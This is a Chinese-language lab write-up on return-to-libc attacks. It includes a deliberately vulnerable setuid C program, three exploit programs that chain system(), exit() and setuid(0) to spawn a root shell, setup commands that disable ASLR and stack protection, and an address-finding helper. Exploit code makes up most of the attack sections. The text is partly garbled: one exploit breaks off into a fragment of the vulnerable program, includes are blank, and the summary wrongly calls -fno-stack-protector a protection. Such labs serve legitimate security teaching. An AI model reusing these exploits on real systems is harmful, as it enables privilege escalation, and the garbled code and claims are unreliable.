第一部分 实验背景
缓冲区溢出的常用攻击方法是用shellcode的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中shellcode。于是为了阻止这种类型的攻击,一些操作系统(比如Fedora)使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的shellcode就会崩溃,从而阻止了攻击。
不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做return-to-libc攻击。这种攻击不需要一个栈可以执行,甚至不需要一个shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的libc库中的system()函数等)来实现我们的攻击。
第二部分 实验目的
本次实验是为了探索return-to-libc攻击的机制,用它去攻击一个具有缓冲区漏洞的程序,从而获得root权限。
备注:Fedora系统默认具有栈不可执行的保护机制,我们实验用的Ubuntu系统默认没有这种机制。
第三部分 实验内容
漏洞程序:
// retlib.c
// This program has a buffer overflow vulnerability.
// Our task is to exploit this vulnerability
#include
#include
#include
int bof(FILE *badfile)
{
char buffer[12];
// The following statement has a buffer overflow problem
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile); return 1;
}
3.1 利用漏洞
分析:
下图是return-to-libc的调用栈格式如下:
<- stack grows this way
addresses grow this way ->
------------------------------------------------------------------------------
| buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ...
------------------------------------------------------------------------------
^
|
- this int32 should overwrite return address
of a vulnerable function
从图中我们可以看出,我们应该在bof的返回地址(即&buf[16])处放置system的入口地址,system的参数的地址放在与入口地址相隔四个字节的位置(即&buf[24]),中间的这四个字节应该放置exit函数的入口地址,这样这在system函数执行完毕之后,就会调用exit函数。
攻击程序:
//exploit_1.c
#include
#include
#include
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
// You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. *//
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 16 times
*(long *) &buf[24] = 0xbffffe43 ; // "//bin//sh"
*(long *) &buf[16] = 0xb7ea88b0 ; // system()
*(long *) &buf[28] = 0xb7e9db30 ; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
攻击过程:
第一步 编译程序
sudo sysctl -w kernel.randomize_va_space=0
gcc -fno-stack-protector -o retlib retlib.c
sudo chown root:root retlib
sudo chmod 4755 retlib
第二步 把system的放置在环境变量BIN_SH中,然后获取BIN的地址,同时用GDB获取system和exit的地址
第四步 攻击
备注:
上面的实验实在/bin/sh指向zsh的情况下进行的,如果/bin/sh指向bash则上述的实验是获取不到root权限的,因为bash内置了权限降低的机制,虽然我们可以使得bof返回时执行system(“/bin/sh”);但是我们也获取不到root权限。
示意图如下:
3.2 /bin/sh指向bash时的攻击
分析:
在/bin/sh指向bash的情况下,我们如果能在调用/bin/ bash之前提升正在运行的进程的Set-UID至root权限,那么我们就可以绕过对bash的权限限制,幸运的是系统函数setuid(0)可以实现我们的目标,所以我们可以在调用系统函数system(“/bin/sh”)之前,先调用系统函数setuid(0)来提升权限。
我们攻击代码应该这样修改:
在bof的返回地址处(&buf[16])写入setuid()的地址,setuid的参数0写在与其入口地址相隔一个字的位置(即buf[24])处(因为setuid()执行完毕之后,会转向存放setuid入口地址的下一个位置,所以这个位置应该放入system函数的入口地址),同理system的参数放入&buf[28]处。
攻击代码如下:
//exploit_2.c
#include
#include
#include
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 16 times
*(long *) &buf[20] = 0xb7ea88b0 ; // system()
*(long *) &buf[28] = 0xbffffe43; // address of "/bin/sh"
*(long *) &buf[16] = 0xb 7f0f620 ; // setuid()
*(long *) &buf[24] = 0; // parameter for setuid
/
fread(buffer, sizeof(char), 60, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
printf("\nsomeint = %x\n",&someint);
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile); return 1;
}
3.3 在第二题的基础上,调用setuid(0)之前嵌入调用system(“/usr/bin/id”)
为了能够调用system(“/usr/bin/id”),需要在漏洞程序中添加这么一条指令:
int someint=0xc 304c483; //add 4, $esp
(具体分析通上一题)
攻击代码如下:
// exploit_3.c
#include
#include
#include
int main(int argc, char **argv)
{
char buf[60];
FILE *badfile;
badfile = fopen("./badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 16 times
*(long *) &buf[16] = 0xb7ea88b0; // system()
*(long *) &buf[24] = 0xbffffe9f; // address of "/usr/bin/id"
*(long *) &buf[20] = 0x0804a024; // esp+4 buf+28
*(long *) &buf[32] = 0xb7ea88b0; // system
*(long *) &buf[40] = 0xbffffe28; // address of /bin/sh
*(long *) &buf[28] = 0xb7f0f620; // setuid()
*(long *) &buf[36] = 0; // parameter for setuid
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
攻击示意图:
实验小结:
Ubuntu的地址随机化机制使得我们获取漏洞函数的返回地址和存放Shellcode地址困难许多,并且Ubuntu系统的缓冲区溢出保护机制(即-fno-stack-protector)对缓冲区的溢出进行保护,也使得这种攻击方法变得更加困难。
参考资料:
http://www.phrack.org/issues.html?issue=58&id=4#article
致谢:
3.3题中的0xc304c483; //add 4, $esp请教了Guo Linlin,I appreciate the help of her greatly!
附注:
//getenvaaddr.c
#include
#include
#include
int main(int argc, char *argv[])
{
char *ptr;
if(argc < 3)
{
printf("Usage:%s
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
//argv[0]:正在执行的程序名称,本程序中:getenvaaddr
//argv[1]:shellcode 变量名
//argv[2]:即将执行的漏洞程序的名称(包括路径),本程序中:./got_vul
//Linux ubuntu 系统中已经验证两者名称差一个字符,就会有两个字节的地址偏移
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}